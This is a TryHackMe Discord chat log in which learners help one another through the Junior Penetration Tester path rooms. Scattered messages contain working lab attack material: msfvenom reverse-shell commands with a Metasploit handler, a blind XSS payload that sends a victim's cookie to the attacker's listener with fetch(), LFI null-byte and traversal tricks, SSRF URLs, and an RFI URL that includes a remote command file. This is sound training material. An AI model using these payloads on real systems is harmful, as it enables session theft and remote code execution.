junior-pentester-path

[calm swallow]

is || -T1 || going to be stealthy enough?

odd, my scan completed, but no flag.

how many ports does it want me to scan?

[brazen notch]

@sharp yoke use the request catcher provided in the lesson, i tried using an NC listener yesterday and the automated function on the site wasn't workign properly.

[sharp yoke]

yeah I saw reddit post

[calm swallow]

thanks

[sharp yoke]

here @brazen notch https://www.reddit.com/r/tryhackme/comments/qfq648/jr_pentesterxss_room/

[calm swallow]

|| sudo nmap -sS -T1 -p 8080 10.10.171.60 -vv ||

thanks

I'm curious who built the room.

ah, strategos

I'm really curious what server-side stuff it's doing to get the flag

[brazen notch]

i tried both http and https and still couldn't get it to connect to my nc listener, i had to use the request catcher provided by the lesson.

[kindred lantern]

Loved the Linux privesc capstone that was good fun

Also @calm swallow itll work with just the ||-sN flag||

[calm swallow]

i got it, thanks

I'm backing up to the burp stuff because I skipped it

I remember now why I usually skip burp rooms on thm

i find burp to be so hands-on that write ups and walkthroughs are difficult to "get"

[sharp yoke]

how can I request catcher :/

[kindred lantern]

I'm onto win privesc next then I'm done with the path

[calm swallow]

I'll be there soon, i suspect

[sharp yoke]

yeah but how am i gonna use it

i don't have no idea 😄

wait

btw ticket ending time when ?

[copper garnet]

tomorrow i think

[ashen fog]

Question about nmap: Isn't setting the urg flag good because it's much faster? Like instead of using -sA or -sW I could use --scanflags URGACK to get the results faster

[copper garnet]

i use verbose output

nmap -sV -sC -p- -Pn <ip> -vv

[ashen fog]

yes i know how to use nmap pretty good but my question was is using URG flag faster than using only ACK

[copper garnet]

hm

[ashen fog]

or using them together

and are there any downsides to that

[copper garnet]

have you tried using them together?
was there a difference?

[ashen fog]

URGACK was faster than ACK

[copper garnet]

ig you can use it since it's faster

[calm swallow]

you can use it and it's faster, but it's also really easy to detect.

not a lot of webapps set the urg flag

[last shadow]

hi all!! i have a problem on the netsec challenge room, about the nmap scan which need to avoid IDS detection, even without scanning i got 4% or even more sometimes and a few times i avoid detection (reset packet count and after i launched nmap) and still didnt get any flags on the webpage

[sharp yoke]

yeah ı finally complete

😄

[ashen fog]

yeah i thought so, but on challenges people usually use the most aggressive flags there are lol

[calm swallow]

i did a CTF last week that was dropping some of those scans

it really depends on what is going on

[calm swallow]

it's a little buggy. you'll need to refresh and reset until you get the reset message

what scan are you using?

[last shadow]

i tried so many xD

[calm swallow]

put it in here with a spoiler tag

[last shadow]

i even tried ||T0 -sN --scanflags ACK|| etc etc

oups sorry

[calm swallow]

you're good

[last shadow]

i just tried with more simple and got the flag rn

[ashen fog]

are you sure null and ack scan work together?

[last shadow]

6 h on this xD

[last shadow]

to be honest i tried multiple mix of flags

[calm swallow]

so, make sure you're not running any other scans (like hydra)

refresh the page a few times and make sure the reset message is there

and you can actually run a scan as fast as || -T3 || on this box

[last shadow]

i tried to put ||all flags to ACK with -sA --scanflags ACK|| etc etc

[calm swallow]

your use of || -sN || will work

[shadow echo]

Did you do it on the attackbox or your own machine? As like the hint says, with the attackbox it's working better.

[last shadow]

yeah now i have it with just ||NULL|| and T3 is the default

[calm swallow]

stealthy 2-hour scans aren't within the scope of that challenge room (|| -sS -T0 ||)

you don't even need to bother with that

you understand it better than the challenge is really asking for, tbh

on the burpsuite intro room -- which dropdown are they asking about on task 9?

|| burpsuite makes me grumpy ||

|| OWASP ZAP for the win! ||

[last shadow]

let me look

i have finish all the path 🙂

but no voucher for me 😦

[calm swallow]

thanks. I suspect they're looking for one in foxyproxy, but I'm just not sure which dropdown they would want unless it's in ||patterns|| somewhere

I usually use burpsuite to handle the server response editing

[night hearth]

I am stuck on WinPrivEsc Unquoted Service Path

I am not getting a session on the multi/handler

[shadow echo]

Intercept a request in burp and right click into that request, you will find that dropdown sub-menu there.

[last shadow]

yeah

it is in burp

[calm swallow]

deleted saltiness

[last shadow]

intercept a request and right click

[calm swallow]

don't want it to spread

[last shadow]

the answer is there

[calm swallow]

i got it

thanks peeps

[last shadow]

thanks for the nmap too 🙂

[calm swallow]

something-something hashtag not my first thm burp room

[last shadow]

i did it with cobaltstrike windows service exe

[haughty topaz]

Ahh

[last shadow]

you dont have any session or the session die quickly?

[night hearth]

not receiving the session at all

[last shadow]

because the service die quickly, you must migrate fast if you do it with msf

weird

[night hearth]

everything in the msfvenom looks good

file is placed and named correctly

[last shadow]

give me the name and the path you use in private or here with spoiler tag

and the msfvenom command used

but normally they give it iirc

[shadow echo]

What payload are you using with msfvenom?

[night hearth]

|| msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.x.x LPORT=4444 -f exe > common.exe
C:\Program Files\Unquoted Path Service
Common.exe||

the payload that is in msfvenom I set for the multi handler as well

[calm swallow]

ok, time for me to take a break and cook dinner. have fun, all

[last shadow]

enjoy your meal 😉

[last shadow]

i did it with meterpreter like i said and migrate -N explorer.exe ASAP and after tried with cobaltstrike win service but all seems good from your side

i try it rn

[night hearth]

yea I might just try again with meterpreter

rather than shell reverse tcp

[last shadow]

remember to migate quickly since it will die

i will try when VM is up with your payload 😉

[haughty topaz]

So got the remote flag, but cant get the first one. This is really getting. - X post in burp? And no content type header.

[night hearth]

I even changed the payload to meterpreter in msfvenom and handler. I am still not catching it when stopping and starting service

let me try a different port

[last shadow]

everything worked for me

i tried with your payload and it work

when you launch the service you use powershell or cmd?

because in powershell you must use sc.exe not sc

[night hearth]

cmd

ugh

lol

[last shadow]

weird

try to set lhost to tun0 in your handler

[night hearth]

nevermind I misspelled the service

i got it now

lol

[last shadow]

lol

that's happens 😉

that's enough for me tonight, need to sleep, sad to not have at least 1months voucher when finish all the rooms in the path 😢

good night all

[marble hamlet]

Going through the Local File inclusion module. am i right in saying http://webapp.thm/index.php?lang=etc/passwd bypasses filtered keywords (such as /etc/passwd) + also if the function adds .php at the end of the input

[last shadow]

depend on the filter and nullbyte works only on php5 and less

[marble hamlet]

if the developer decided to filter keywords such as /etc/passwd and then if the function added .php at the end of the input. adding %00 would bypass them two, am i right in saying that. and yes depending on the PHP version

[last shadow]

if php5 and less you will bypass the .php added at the end that's right

[marble hamlet]

sorry if i am keeping you up hahah, just saw your goodnight all message

[last shadow]

if it filter with a strict regex like ^/etc/password$ yeah it work

no problem 😉

[marble hamlet]

Ok gotcha, just wanted someone to clear that up for me. was not 100% sure

[last shadow]

but if he only filter with a regex who search for the word etc or for the / it will not be bypass

i hope im clear, im bad at explaining things xD

[opal plover]

Hi! Someone can help me with SQL injection room pls from this path pls?

[marble hamlet]

This is what i am referring to in regards to the question i asked

[night hearth]

Got my Certificate!! Thanks @last shadow

[next lance]

Gave +1 Rep to @last shadow

[trail topaz]

Hey people, I'm trying to complete RFI inside File Inclusion in the Junior Penetration Tester Course but the command doesn't seem to do anything

[night hearth]

post your command with || on each end of it

[trail topaz]

let me try

it's task 6

[trail topaz]

this didn't work or I did it wrong

[night hearth]

you can also highlight text in discord and press the eyeball to the right to add the tags

[wet gulch]

could i get a hint for ssrf task 2?

i have changed 'api' to 'server' and i see how the request responds but i can seem to figure out how to implement the flag 9

[trail topaz]

where is that eyeball?

[night hearth]

are you on Discord on your desktop?

[trail topaz]

I am

[night hearth]

after you type or paste your command, highlight the text and a little box comes up above it

[trail topaz]

it's a payload instead of an actual command, sorry

URL payload

[night hearth]

if you do the steps below, you could post a screenshot

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[night hearth]

post your whole url here with spoiler tags

[sharp yoke]

thank you

[next lance]

Gave +1 Rep to @night hearth

[wet gulch]

| https://website.thm/item/2?server=api.website.thm/flag&x=&id=9 | this was the first one i have now literally just changed api to server | https://website.thm/item/2?server=server |

[night hearth]

you are close

[wet gulch]

i see that is changes to server.website

[night hearth]

to do the spoiler tag you need || on each side

[wet gulch]

oh okay

[night hearth]

right so that is correct

[wet gulch]

sorry

[night hearth]

but its needs more

[wet gulch]

i dont know how to implement the flag

[night hearth]

the hint says that it needs to be at the end of your payload

[wet gulch]

okay yes

[night hearth]

so mix your 2 attempts together

[sharp yoke]

you need to add the end &x= btw

[wet gulch]

i see what its saying

[sharp yoke]

if you use hint button button says this

[wet gulch]

i just said i see it says server.website

[wet gulch]

@sharp yoke

[dire anchor]

Phew! After pulling out what little hair I have left, I finally completed RFI Playground task! 😅 Glad the payload I used worked, but I'm a bit confused why the one I tried before ||<?PHP gethostname(); ?>|| didn't work, please could someone explain?

[sharp yoke]

😄

i see

[night hearth]

lol

[wet gulch]

because i dont know the format it needs to be so ive brute forced a number of different variations

[night hearth]

@wet gulch I did the same thing at first. that is why is shows you the request at the bottom

[wet gulch]

i used the &x= because it turns it into a parameter and in the example it is never used "at the end" of the url

[night hearth]

the examples were a little confusing

[wet gulch]

example says stock?server=api.website.thm/api/user&x=&id=123

[dire anchor]

How come ||gethostname();|| doesn't work but the correct one (which I won't spoil for others) does? I've read the descriptions for both at php.net and I don't understand the difference 😦

[wet gulch]

so i thought if youre looking for user 123 youd cahnge it to look for flag 9

[night hearth]

thats why I said the example is confusing to the task at the end

[wet gulch]

i dont understand the syntax so ive brute forced i get what its doing not how tot write it

[night hearth]

ok so what is your latest attempt?

[wet gulch]

to stop the remaining path from being appended to the end of the attacker's URL and instead turns it into a parameter

[night hearth]

yes

that is why it goes at the end of your payload

now that you understand that did you solve it?

if not, let us know where you are at with your payload

[wet gulch]

none of the examples show it at the end of the payload...

okay thats great i still dont understand the syntax

or how to write it i get the payload is the file im looking for

youre requesting to get server.website.thm/flag?id=9

thats the payload

i get it i just dont understand the syntax

[night hearth]

and what happened when you did server=server

[wet gulch]

sorry thats the wrong screenshot

[night hearth]

so take it a step further

add more than server=server

then see if you understand what it is doing

@wet gulch did you get it?

[wet gulch]

had to step away from my pc

[wild bolt]

guys I am stuck on an authentication bypass task4 for hours any help, please??

guys I am stuck on an authentication bypass task4 for hours any help, please??

yes

guys I am stuck on an authentication bypass task4 for hours any help, please??

[night hearth]

what have you done so far

[wild bolt]

I don't know what I did wrong but I didn't get the flag on tickets

[night hearth]

so you made an account, and ran the curl requests, with the second one edited to match your account?

[modest arch]

Hey guys just looking for a hint for "Vulnerability Capstone" last question:
||iv grabbed the ruby and the python2 scripts but neither of them seem to work right iv installed all deps and creted a virtualenv for good 'ol python2 but nothing seems to work right||

[night hearth]

I had the same issue. Try using the one from the hint

[modest arch]

Yeah the ||ruby one ?|| i was trying that I should probably just give up and use ||burp|| but I really wanted to get it going

[grave surge]

||Ahh, for the Ruby script, did you set up a netcat listener to listen for the reverse shell?||

[night hearth]

The one in the hint is a python script

located on the attack box

[grave surge]

Python, not Ruby, myb

[modest arch]

Ahhhhhhh im a dope thanks @night hearth || i see what you mean now i missed the error about non-numeric -> listener is better idea ||

[next lance]

Gave +1 Rep to @night hearth

[modest arch]

when all else fails || base64 it || @night hearth 🤣

[marble hamlet]

any idea why this is not working? im on the remote shell part in file inclusion

[modest arch]

have you got a firewall up by any chance ?

[marble hamlet]

Nahh no firewall, im gonna restart the machine and try again

i never have much luck with remote shell/code execution. really annoying

[marble hamlet]

restarting the machine done the job 🙂

[gleaming loom]

Anyone received this message before? Don't know why this happened, nor should my sub expire in the next couple of days 😕

[marble hamlet]

i just had the exact same message completing the same room, how strange

[gleaming loom]

Ok, i feel better now 😆

[modest arch]

ok looks like tickets just stopped 😢

[trail topaz]

Anyone on the File Inclusion Task 8 Challenge?

On the second flag

Using curl works but I can't do anything past that

Yeah but I can't edit them

I click and deselects for me

like it's just for show

Will try

[night hearth]

right click edit as html?

[trail topaz]

doesn't have an edit button

[modest arch]

Go to "Storage"

[trail topaz]

Thank you!!!

[next lance]

Gave +1 Rep to @wispy nimbus

[trail topaz]

Two hours in this

[calm swallow]

was I supposed to get a reverse shell in the exploit vulnerabilities room?

[trail topaz]

Guys I only have access to the Admin page, nothing else?

[marble hamlet]

did you use burp for the previous questions?

[trail topaz]

No, I haven't learned it yet

[modest arch]

Play around with that cookie. Change the value to your name for instance and see what happens.

[trail topaz]

I just realized, we're not supposed to have a name in this machine

At least I didn't think so

I changed the path but it didn't work as well

[gleaming loom]

What else can you change in that Storage tab if it is not the Path, to get LFI?
Also note yall: The ticket event has ended.

[trail topaz]

The domain?

Jesus I'm lost

[modest arch]

Pay attention to the error message how it reflects the change you made to the value of that cookie.

[trail topaz]

MACHINE_IP/challenges/chall2.php?file=/etc/flag2 only shows the same admin page

[calm swallow]

tickets gone?

I just finished a room and got no tickets

[modest arch]

Yep, it's ended

[trail topaz]

Yeah

[calm swallow]

cool! well, congrats to all the winners!

[urban whale]

ya

[trail topaz]

MACHINE_IP/challenges/chall2.php?file=/etc/flag2 only shows the same admin page

[urban whale]

@trail topaz

able to edit the cookie but

im stuck after that

[trail topaz]

try lower casing that cookie

[urban whale]

got this

[trail topaz]

yeah, seems like it's a better landing page

I'm stuck here too

[urban whale]

same

[trail topaz]

@modest arch just need a nudge I believe 😮

[modest arch]

Keep playing with that cookie. And again, see how the error message reflects your change.

[trail topaz]

Is it possible to change? It always comes back to Guest if I change anything

[urban whale]

srry im still stuck

[modest arch]

Change its value in the storage tab and refresh the page.

[trail topaz]

It is what I'm doing

everytime I refresh it gets a new Guest cookie

[urban whale]

change ur browser ig

it might help

[trail topaz]

It's the attackbox one

[modest arch]

in the metasploit intro || eternal blue msf where is this flag.txt , iv been to every bloody folder at this point i think ||

[modest arch]

I am not familiar with the AttackBox.
You have to be able to change the value of the stored cookie and refresh the page.

[trail topaz]

Yes I can do that

The only one that says Get that flag is admin

[urban whale]

okay i am done thanks @modest arch

[next lance]

Gave +1 Rep to @wispy nimbus

[modest arch]

So you want to see the "Get the flag" message or get the flag? I think the arrows in that screenshot are quite a fair hint.

[urban whale]

yep

[trail topaz]

bruh I just feel stupid, I know I'm close

[modest arch]

Close. But you are not using everything you've learned.

[urban whale]

bruh soo close

[trail topaz]

I'll keep trying

[marble hamlet]

you can see that the function adds a .php at the end of your entry, how would you bypass this?

[night hearth]

keep in mind your current path

also

[trail topaz]

yes it's what I just noticed

[marble hamlet]

Nice profile pic by the way

[trail topaz]

You too!

F'in hell I did it

Thank you all, now I can sleep

[urban whale]

did u get flag3?

[night hearth]

are you stuck on flag3?

[urban whale]

ya all signs are filtered

[night hearth]

They may be the way that you are attempting, but they are not other ways

did you research $_REQUEST, to see what its uses

[urban whale]

doing that

[trail topaz]

Off to sleep xD

Tomorrow I'll try

Stay well guys

[urban whale]

i have gone through php.net manual

not getting

[night hearth]

so it accepts GET, POST, and HTTP HEADER

maybe try a different type of request to the page

[calm shale]

Well this sucks. I thought we had the whole of the 31st to get more tickets...it looks like no one won any of the more lucrative prizes

i.e. Cert vouchers

[urban whale]

still on that

not getting

[sullen perch]

@urban whale i am stuck too

[urban whale]

flag 3

?

[sullen perch]

i am on get the flag page

[night hearth]

which task?

[sullen perch]

file inclusion challenege 2

[urban whale]

i completed that

its all about cookie

[night hearth]

I was literally typing that haha

[urban whale]

i m still on that challenge 3

[night hearth]

try a|| POST request||

[urban whale]

the default isnt POST ???

[night hearth]

which tool are you using?

default is normally a GET

[urban whale]

suit

[night hearth]

I personally used curl on that challenge. Let me try it in Burp

[urban whale]

it works

i solved challange 1 using that only

[night hearth]

yea Burp can do it also

even easier in Burp

ok so make sure to use the spoiler tag || on either side of the spoilers. what did you do in Burp so far

[night hearth]

did you get flag3?

[sullen perch]

now what?

[urban whale]

yup

[night hearth]

play with that cookie and keep an eye on what error is produced

[urban whale]

||I did that with 2 method 1 just converted GET into POST + Content-Type: + file=...
another
make a normal Get req. and intercept that response and changed the GET parameter to POST in page source ||

[sullen perch]

@urban whale is that for flag 3

need to use burp?

[urban whale]

its easy on burp,Curl can also do that

[urban whale]

i was decoding the URL from that time lol

[urban whale]

for challange 3 where to Host the file ?

@night hearth

can u help

[night hearth]

challenge 3 in File inclusion?

or you mean the Gain RCE in File inclusion

[urban whale]

RCE

[night hearth]

so you will need to create a webserver on your attackbox to host it

Python3 has a very simple way to do so if you google it

[urban whale]

ok

[sage vector]

not sure if this is the right channel to ask but having troubles with this question . Use grep on "access.log" to find the flag that has a prefix of "THM". What is the flag?

[urban whale]

i did but i dont think that while doing RCE the txt file is hosting ... but it is visible in my browser

[night hearth]

are you doing a room in the Jr Pentester path?

[sage vector]

nah its under the linix fundamentals

[night hearth]

what does your payload that you put in the browser look like

[urban whale]

||http://10.10.28.160/playground.php?file=http://192.168.1.77:9001/Desktop/cmd.txt||

[night hearth]

not quite sure that I understand the question. The flag will be THM..... it could be THM-123456789 or THM{theflag}

just starts with THM so you will need to use grep to find a line that starts with THM

[night hearth]

Are you VPNing in on your own box for the challenges?

[urban whale]

yes

[night hearth]

I believe you may be using the wrong IP for your machine. you should have a 10.10.x.x IP

[urban whale]

u mean the file hosted IP ?

[night hearth]

yes

[urban whale]

okay i am doing trying with attackbox

[night hearth]

that should make things much simpler

[urban whale]

Done

thanks

[tropic dust]

Hello, I am working on the Linux PrivEsc (https://tryhackme.com/room/linprivesc) Room. Not able to understand how to run the CVE on the server. Could anyone please help?

tried scp to upload the CVE file, but then cannot locate the file on the server due to denial of permissions.

[shadow echo]

How are you trying to locate the file? But either way, with scp you anyways specify the directory in which you upload the file, so I'm a bit unsure why you can't locate the file.

[tropic dust]

ok maybe I am not using scp well... I opened the directory where I saved the file... then scp FILENAME karen@SERVER... I think I didn't mention the directory... the thing is default "pwd" on the server is at "/", do I need to mention it? @shadow echo

[shadow echo]

What's the full scp command you tried?

[tropic dust]

that one I mentioned is the full command... scp 37292.c karen@10.10.110.108

[shadow echo]

Okay, well then I would first check if you have write permission to /home/karen (which you normaly should have) and then use scp 37292.c karen@10.10.110.108:/home/karen

[ocean socket]

If you have access to that machine just:
cat apache2/access.log | grep -i "thm"

-i flag meaning not case sensitive

[tropic dust]

is there any way I could know the upload has been a success or not?

[shadow echo]

Not sure if scp will give you a reply, I barely use scp. But you can simply check the folder you uploaded it to afterwards.

[tropic dust]

well I actually don't think I have write permissions... let me see...

[tropic dust]

no... "Could not chdir to home directory /home/karen: No such file or directory"

[shadow echo]

What task of that room are you on?

[tropic dust]

task 5

pwd is at /

[shadow echo]

Okay, then you simply have to search for a different directory where you have write permissions to, maybe try /tmp

[tropic dust]

scp 37292.c karen@10.10.192.92:/

Stuck at this, no response... the shell is not coming back to usual after finishing of operations, unlike the last command w/o the directory.

[tropic dust]

just now it replied connection timed out, re-trying.

[tropic dust]

ok sure... working on it then 😄

[shadow echo]

Btw, you know what the pwd command does, right?

[tropic dust]

denotes the current directory where the shell is at, right?

[shadow echo]

It prints out the current working directory. So if you are inside /home and you enter pwd, it will print /home. If you are inside /home/whatever/whatever2 it will print /home/whatever/whatever2 . And only if you can access a directory, doesn't automatically mean you can write to it.

[modest arch]

XSS Task 8 (Blind XSS Practical)
I am connected to THM VPN through Kali running in VM and do not get any traffic through nc.
(Is the port in the script supposed to be identical to the port in the nc flag?)

[hollow zephyr]

Just to remind everyone, The XSS Task 8 box is buggy and you might have to restart it to give you a proper http request. Try using the thm catcher thing if standard nc doesn't work

[shadow echo]

If you can't get a request while manually opening the ticket after your created it, then there is something wrong. The port has to be the same in you xss payload, yes. If it's only about that the ticket is not getting triggered by the staff member, then you might restart the target machine or use the attackbox or request catcher.

[modest arch]

I am not sure about my configuration. The IP and the port in the JS script have to be like my IP:PORT showing under tun0 in ifconfig, right?

[tropic dust]

oh right...

[hollow zephyr]

In Command Injection room, for detecting blind RCE, it says one way is to force an output.

For example, we can tell the web application to execute commands such as whoami and redirect that to a file. We can then use a command such as cat to read this newly created file’s contents.
but isn't the whole point of blind RCE that we weren't supposed to (maybe in some cases we CAN'T?) see any verbose output? If the file is then read using cat, how will I even know that the server executed the cat command? Even if it does, What is the use? I won't be able to see it

[shadow echo]

Have you specified a port with nc ? If yes, then you have to use the port as well. And yes the IP will be your tun0 IP, IP:PORT will be the right way then.

[modest arch]

I followed the instructions and setup nc with nc -nlvp 9001 . I am missing some knowledge here. If the JS fetches the cookie with specifying the IP:PORT of the user visiting the website, why and how would it get sent to port 9001?

[shadow echo]

Read the breakdown of the payload in task 8 again. The fetch() command makes an HTTP request. The IP:PORT is where the http request will go to, so therefore it's always your IP:PORT as you want to catch these requests.

[modest arch]

If so I would have to set up nc on the port showing in ifconfing under tun0 I guess and not 9001?

[shadow echo]

I'm not sure what port you are referring to, there should be no port being displayed with ifconfig?

[modest arch]

Sorry. Meant ip address

[shadow echo]

Well if you talk about the /16 after your IP, that's the suffix for your subnet, as far as I know.

So your IP will be without the /16

[modest arch]

I entered into the JS script my IP with 9001 as the port. </textarea><script>fetch('http://{my_tun0_ip}:9001?cookie=' + btoa(document.cookie) );</script> and nc is running on 9001. I opened that ticket and nothing shows up. Back to square one.

[shadow echo]

You removed the { } right?

[last shadow]

what you mean by entered into the js script??

[last shadow]

because you just need to put it in the message

[last shadow]

you must enter the payload in the message of the ticket

[modest arch]

I was referring to the JS script entered into the message.

[last shadow]

ok

[modest arch]

Did that.

[last shadow]

so after that just a nc -lvnp 9001 must work

try on the attackbox if you were on your pc

hi all, i forgot 🙂

[modest arch]

I am just a bit stubborn trying to understand why it does not work.

[last shadow]

sometimes quotes or double quotes are messed up when copy/paste

it can be that or not the good ip, verify your tun0 ip too

[shadow echo]

Maybe try to restart the target machine, as I don't see why that wouldn't work.

[last shadow]

yeah +1 try restart the machine or your vpn or try the attackbox 😉

if ip is good, normally 2min after posting your ticket you must have a connection to your nc listener

The tickets giveaway is finished?

someone win the OSCP or eJPT??

[modest arch]

I think everything is set up right.

[modest arch]

Tried already...

[last shadow]

yeah everything seems fine

[shell lintel]

have you still got tickets, or not ?

[shadow echo]

Are you using a VM?

[modest arch]

Yes, VirtualBox

[last shadow]

try with the attackbox

[shadow echo]

And openvpn is only running inside your VM and not on your windows host (or whatever host OS you use) as well?

[last shadow]

grrr i was near some voucher grrrr

[modest arch]

Actually, openvpn is running also on my host OS (Fedora). (Diffrent VPN though)

[shadow echo]

Well then I would try to turn that off to see if that solves your issue. Although if it's not the THM vpn shouldn't matter as far as I know, giving it a try might be worth it.

[last shadow]

the easy way to verify is the attackbox

if he has a callback on the attackbox nc listener, there is a problem from his vm network

[shell lintel]

I thought that tickets will be granted till today include.

[shadow echo]

@tropic dust Let's keep the conversations to continue here, so everyone can see it and maybe help you out. So what's the CVE you found? I assume you are on task 5, right?

[tropic dust]

yes task 5, disclosing the CVE will actually be a spoiler 😅

[shadow echo]

Then write it and delete the message after I saw it 🙂 Or put spoiler tags.

[tropic dust]

CVE-2015-1328

I dont think we can put spoiler on texts... images it works

[last shadow]

you can put spoiler on text 😉

this is a ||spoiler||

[tropic dust]

how to do that? 😅

[last shadow]

select the text and the latest icon

[shadow echo]

You can put spoiler on text. Anyways, just delete it then 🙂 Have you read the instructions inside that cve? It's explaining you on how to run it.

[devout carbon]

Hi!! trying to understand PATH Privilege Escalation. Don't need any hint, just learning. I execute the script from /usr/bin and from /home/murdoch, and i can get root. But if i copy the script to /tmp, permissions are denied. Why is that? Any advice?

Is /tmp a directory non executable?

[shell lintel]

check ls -l /tmp and if the script is set to be executable

[devout carbon]

yes it is

the issue is that if a copy the script to the /tmp directory, doesn't do the job. instead, if o execute the script from /usr/bin or from /home/murdoch, it works

and i am trying to guess why is that

[modest arch]

Did not solve that issue. In AttackBox , which IP I am supposed to enter? docker0, eth0, lo?

[shadow echo]

eth0 on the attackbox

[ocean socket]

I also had some issues with nc when I did that task... in the end I used the listener they provided me

[shadow echo]

Is /usr/bin and /home/murdoch in the PATH variable and /tmp not? If yes then that's the reason. Just an idea, not even sure on what task you are 😄

[devout carbon]

yeah ok, that's right. got it. Ty fontaene

[next lance]

Gave +1 Rep to @shadow echo

[modest arch]

OK. nc caught a cookie, but after decoding it, it's still not the right answer. Any clue?

[shadow echo]

Did you open the ticket on your own after creating it?

[modest arch]

Yes. And I decoded it. Tried entering with "session=" and w/o. Nothing worked.

[shadow echo]

Then it's your own session cookie that your received. But at least you verified that you receive the request. You have to create the ticket and wait until the script that's somewhere behind gets triggered and is opening the ticket as a staff member. Something with that triggering is buggy, so as long as you know now that your xss payload is working fine, you just have to wait 1 - 2 mins, if you not getting anything try to restart the target machine or use the request catcher.

[modest arch]

Done. Thanks a lot.

[next lance]

Gave +1 Rep to @shadow echo

[modest arch]

After I am done, I still do not understand how this works. Why does this script send a local session cookie and a staff session cookie to nc? I am missing something fundamental here.

[idle bison]

If you XSS yourself, you'll get your own token

[shadow echo]

The script will always be executed in the browser of the person that is opening the ticket (in that example). So if you open the ticket in your browser, it will be executed there, regarding to the break down what each of these commands is doing. If someone of the staff members is opening the ticket, the script will be executed in his browser and therefore grabs his cookie and sends it. The individual cookies are also stored in the browser.

[modest arch]

I got that. Actually, I did receive also my own token. But how does this work that I receive a staff-members token??? Is there some automation behind the scenes on this website that every ticket gets opened from the backend?

[idle bison]

Yes

To emulate a physical admin user that might be checking

[modest arch]

Now things are starting to make sense to me. I was wondering the whole time what am I trying to achieve with this JS. Thanks.

[next lance]

Gave +1 Rep to @idle bison

[modest arch]

Additional question: Why do I have to encode the cookie in the XSS and later decode it? Why can't I just fetch it the way it is?

[shadow echo]

To make sure it gets transmitted correctly.

[modest arch]

What would happen if I would not do that?

[shadow echo]

Well maybe for that session cookie nothing, but as far as I know, if there are some special characters in the initial cookie, it could get interpreted the wrong way and therefore not receive the cookie in the way it was. But I would rather suggest you look that up on your own, in order to make sure I'm not talking bs 😄

[modest arch]

I'll let you know 👍 Thanks.

[next lance]

Gave +1 Rep to @shadow echo

[sage crypt]

Hi fam, I'm working on xssgi (last task: task8 practical of blind xss) room of Junior pentest path, and I'm pretty certain that my answer is correct but it says wrong.

[shadow echo]

How did you receive the session cookie? By opening the ticket you have created?

[cerulean abyss]

I am stuck in File Inclusion Lab, Challenge 2. I have managed to get admin access manipulating the cookie. I am trying different combinations of url in the browser to gain access to flag2 by using ?file= such ../.. walthrough including ....//....// or %00 at the end. I have even tried to include a POST form based on the code of Challenge 1. No luck. Could someone hint me if I am on the right track or am I missing something. Should I use curl or can this be solved simply manipulating the url path to the file?

[shadow echo]

play around with the cookie value to see how the webpage reacts.

[sage crypt]

thru nc sir

[cerulean abyss]

You mean the value of admin or the other values? Thanks.

[shadow echo]

I meant, how did you trigger the xss? After you have created the ticket with the xss payload. Did you open the ticket ?

[sage crypt]

ahh yes.

[shadow echo]

If you think over it again, how would you get the staff session cookie if you trigger it on your own, if it's getting executed by your own browser, you will only get the session cookie of yourself.

[shadow echo]

The value of the cookie itself. So if you open the dev tools to check out the cookie, you see the field/tab that's called value.

[cerulean abyss]

Yes, I already obtain access as admin by changing admin and value to true. I have refreshed and have admin access and it tells me I can go to capture the flag. I can now obtain the flag, but when I am including the in the url ?file=../../../../etc/flag2 (and different variations) I am not able to view anything in the browser. Not even by inspecting the html. You are still saying I should work on the cookie or am I doing something wrong when typing in the url? Thanks.

[next lance]

Gave +1 Rep to @shadow echo

[shadow echo]

Yes, work on the cookie value to see how the site reacts to it.

[sage crypt]

should i just be patience?

[shadow echo]

If the automation that's going to trigger the ticket to be read as staff member is not going to do it within 2 - 3 mins I would try to restart the target machine, use the attackbox or the request catcher. It is a bit buggy I think. At least you verified by opening the ticket on your own that the payload is working.

[sage crypt]

okok. will try to restart my machine. hang on sir 🙂 thanks by the way

[next lance]

Gave +1 Rep to @shadow echo

[modest arch]

hi guys

I'm trying to do the metasploit module, and on the rev_shell.elf task I'm getting this error

||Segmentation fault (core dumped||

On the machine I'm supposed to get a meterpreter

When I launch the ||./rev_shell.elf||

This is my handler

|| msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

Name Current Setting Required Description

---

Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description

---

LHOST 10.13.23.79 yes The listen address (an interface may be specified)
LPORT 7777 yes The listen port

Exploit target:

Id Name

---

0 Wildcard Target ||

I'll look at that right now

I think it is, let me check

This is the command for the .elf file

|| msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf ||

The one on the module

I see that

Ok, let me try again

Will tell you the results

[cerulean abyss]

If I use another name different that Guest or Admin, for example root, I get the following Error: Warning: include(includes/Admin.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall2.php on line 37 If I then try to transverse using =file? I still get the same error. I am lost. I need help or to provide me a link or course to understand what I am missing.

[modest arch]

Ok, it's done. Thank you!!!

[next lance]

Gave +1 Rep to @steel nymph

[cerulean abyss]

Sorry I meant: Warning: include(includes/Admin.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall2.php on line 37 I also tried ?lang= and failed. By room you mean the actual documentation of the course (Task 4) or some other place?

[cerulean abyss]

challenges/chall2.php?file=../../../../../../etc/flag2 Is what I was using.

[thorn granite]

room Linux privesc - task 5

i tried scp, wget, curl

[thorn granite]

but not able to transfer exploit to target machine

[shadow echo]

So after changing the cookie value, are you even refreshing the page? As for your example when you change it to root, your warnings should look different.

[cerulean abyss]

Yes, with admin I get the welcome admin but when I change it to root and refresh(several times) I get: Warning: include(includes/root.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall2.php on line 37

Warning: include() [function.include]: Failed opening 'includes/root.php' for inclusion (include_path='.:/usr/lib/php5.2/lib/php') in /var/www/html/chall2.php on line 37

[shadow echo]

Okay, so what does that warning tell you then? Warning: include(includes/root.php)

[cerulean abyss]

Yes, I also modified the url to include challenges/includes/admin.php and then try transversal without luck.

[shadow echo]

Not sure why you are doing something with the url when you get that warning. Warning: include(includes/root.php) If with that warning it is unclear, you should reread the previous tasks.

[cerulean abyss]

OK, I tried a a different approach and using file:///etc/ I see now the files and directories including the passwd file but there is no sign of flag2, unless the it is hidden. And even trying to do file:///etc/flag2 reveals nothing.

[cerulean abyss]

It is also showing hidden files.

